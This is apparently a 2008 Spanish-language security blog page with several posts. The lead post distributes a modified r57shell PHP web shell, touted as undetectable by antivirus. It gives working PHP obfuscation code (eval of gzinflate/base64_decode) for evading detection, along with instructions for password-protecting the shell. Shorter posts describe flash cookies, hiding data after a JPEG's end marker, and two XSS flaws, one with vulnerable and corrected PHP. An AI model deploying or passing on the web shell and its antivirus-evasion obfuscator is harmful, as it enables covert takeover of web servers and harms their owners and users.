Contenido principal

r57shell Modificada

Agosto 13, 2008

Actualizado: Links corregidos
Nota: Por favor leer el Disclaimer del sitio

Para aquellos que necesiten una shell y que sea indetectable por los antivirus, acá dejo un link de la r57shell modificada.
Los cambios fueron:
* Lenguaje de inglés a español
* Tres códigos maliciosos que enviaban un mail al creador de la shell con la ruta del script en la aplicación web

¿Cómo se hace indetectable la shell?
Por medio de tres funciones que hacen que un script PHP funcione normalmente, y es una técnica bastante común.
La primera función es eval(), que permite ejecutar código PHP.
La segunda función es base64_decode(), que permite decodificar una cadena que previamente fue codificada con dicho método.
Y la última función, gzinflate(), que sirve para descomprimir una cadena previamente comprimida por la función gzdeflate().

El script que ofusca el código de otros scripts de PHP es el siguiente

// @título: ofuscador PHP
// @autor: www.sinfocol.org
$r_arch=$_GET['archivo']; //Recibimos el nombre del archivo por medio de la variable 'archivo'. ex: localhost/script.php?archivo=script_a_ofuscar.php
if(file_exists($r_arch)){
$larch=fopen($r_arch,'r'); //Abre el archivo en modo de lectura en caso de que exista
$x=base64_encode(gzdeflate(fread($larch,filesize($r_arch)),9)); //Primero lee el archivo, lo comprime con el máximo nivel y luego lo codifica con base64
fclose($larch);
if($narch=fopen($r_arch.'_ofuscado.php','w')){
    fwrite($narch,"<?php\r\n//\$usuario='';\r\n//\$contraseña='';\r\neval(gzinflate(base64_decode('".$x."')));?>"); //Escribe el archivo ofuscado
    fclose($narch);
    echo 'Archivo generado con éxito en '.$r_arch.'_ofuscado.php';
  }else{
    echo 'Error.';
  }
}else{
  echo 'El archivo '.htmlentities($r_arch).' no existe.';
}

El tamaño del archivo se ve notablemente disminuido, el archivo original de la shell pesa 87,735 bytes, mientras que el archivo generado por el ofuscador pesa 29,955 bytes.
Para agregar un usuario y contraseña a la shell, para que nadie pueda ingresar a ella, deberán modificar el script ofuscado, y por medio de la variable 'gen' de la nueva shell generar los hashes correspondientes al usuario y contraseña, de esta forma:

http://localhost/cell.php?gen=sinfocol
Hash generado: a5a6c174381715f9e9c47033f63b051294c60dba

Para que el código del ofuscador funcione correctamente, al script original deben quitarle las etiquetas PHP, <php y ?>, ya que la función eval solo evalua el contenido del script mas no las etiquetas.

Descarga r57shell original
Descarga r57shell modificada
Si alguién tiene dudas de la efectividad de la shell, acá está la prueba de que ningún antivirus la detecta: http://www.virustotal.com/analisis/6a0480eaa6a132af0d93162d1d9c2cb9

La contraseña para ambos archivos comprimidos es

www.sinfocol.org

Archivado en: Programación | Comentarios (9)

Local Shared Objects (Objetos Locales Compartidos)

Agosto 12, 2008

Los objetos locales compartidos son archivos creados por el reproductor de flash para almacenar información sobre el usuario y sus preferencias, dando así la posibilidad de una mejor navegación, ya que permite almacenar por ejemplo el nivel de sonido del reproductor de video, o el estado en que se encuentra un juego.

Estos archivos de datos son también llamados flashcookies o cookies de flash, ya que tienen las mismas características que una cookie, y no sólo las mismas características, también tiene la posibilidad de almacenar datos binarios y de otro tipo, función que no soporta una cookie.

Un archivo de cookie del navegador, es un archivo de texto el cual es almacenado por el navegador (Internet Explorer, Firefox, Opera, Chrome, etc) en nuestras computadoras (Los datos son almacenados localmente y no en el servidor). Las cookies guardan información importante sobre el usuario, tales como sesiones autenticadas, contraseñas cifradas, número de visitas, códigos que sirven para identificar al usuario, entre otras variables.

Dame más información ...

Archivado en: Hacking | Comentarios (8)

Analizando JPEG

Agosto 11, 2008

Actualizado

Poco a poco voy publicando los videos que ya tengo en youtube, así que mínimo unas seis entradas, para ir con calma...
Empiezo con este video que es uno de los más básicos, donde "analizo" la estructura del JPEG, y determino que siempre tiene una estructura fija, comenzando con \ff\d8\ff\e0, y terminando en \ff\d9. Así que luego del pie del archivo JPEG podemos ingresar cualquier tipo de dato sin modificar ni un pixel de la imagen, ya que ésta está entre los límites de sus cabeceras.
El video es este, disculpen la calidad pero apenas aprendía a sacar videos con el programa.

Esta es la prueba, primero la imagen que no contiene datos extras y pesa exactamente 12.944 bytes.

Y esta es la imagen con datos extra luego de la cabecera, pesa exactamente 14.359 bytes y se puede observar que el cambio en la imagen fue nulo. Así que espero los comentarios de como sacaron el archivo agregado, aunque es relativamente sencillo y solo se necesita de un editor hexadecimal. Como pista la extensión del archivo agregado es ".ico"

Archivado en: Esteganografía | Comentarios (10)

XSS en Yashira.org

Agosto 9, 2008

Actualización : Más abajo

Está vulnerabilidad es muy simple y común, y la podemos encontrar en la mayoría de sitios donde proporcionan información sobre las cabeceras de nuestro navegador.
Este era el caso del script Mi_judge.pl que se encuentra en la carpeta /cgi-bin/ del servidor web de www.yashira.org, el cual hace un Test de anonimato que está basado en las cabeceras de nuestro navegador. La vulnerabilidad radicaba en que el script no filtraba correctamente las cabeceras, en especial la cabecera "X_Forwarded_for", que es una de las cabeceras utilizadas por los servidores proxy de bajo perfil para redireccionar el contenido que recibe de una aplicación web al usuario que está usando el servidor proxy.
En aplicaciones hechas en PHP, el siguiente sería el código a utilizar para capturar la cabecera x_forwarded_for que envia nuestro navegador:

if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])){
  echo $_SERVER['HTTP_X_FORWARDED_FOR'];
}

Pero dicho código es vulnerable a inyección html, así que solo basta de una línea para corregir el fallo:

if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])){
  echo htmlentities($_SERVER['HTTP_X_FORWARDED_FOR']);
}

Al igual que el script mi_judge.pl, bastaba de una línea para corregir el fallo.

Que esperas! conoce más

Archivado en: Hacking | Comentarios (6)

XSS en gmail.com

Agosto 9, 2008

La vulnerabilidad me parece muy interesante, porque podemos ver como se pueden encontrar errores en las aplicaciones mas famosas que existen en el mundo informático.
Esta vez le tocó a los desarrolladores de gmail.com, que por un error en un sistema se podían comprometer millones de cuentas.

La vulnerabilidad se encontraba en la característica de "Ver como presentación/View as slideshow". Se podían insertar direcciones en la diapositiva, las cuales llevaban código malicioso que ejecutaba cualquier sentencia javascript.

La vulnerabilidad fue descubierta el cinco de mayo del 2008, y corregida veinte días después.

Acá el pequeño video que hice al momento de la vulnerabilidad, y que demuestra que se podía ejecutar cualquier tipo de código malicioso:

Publicación original: http://blog.beford.org/?p=19

Archivado en: Hacking | Comentarios (4)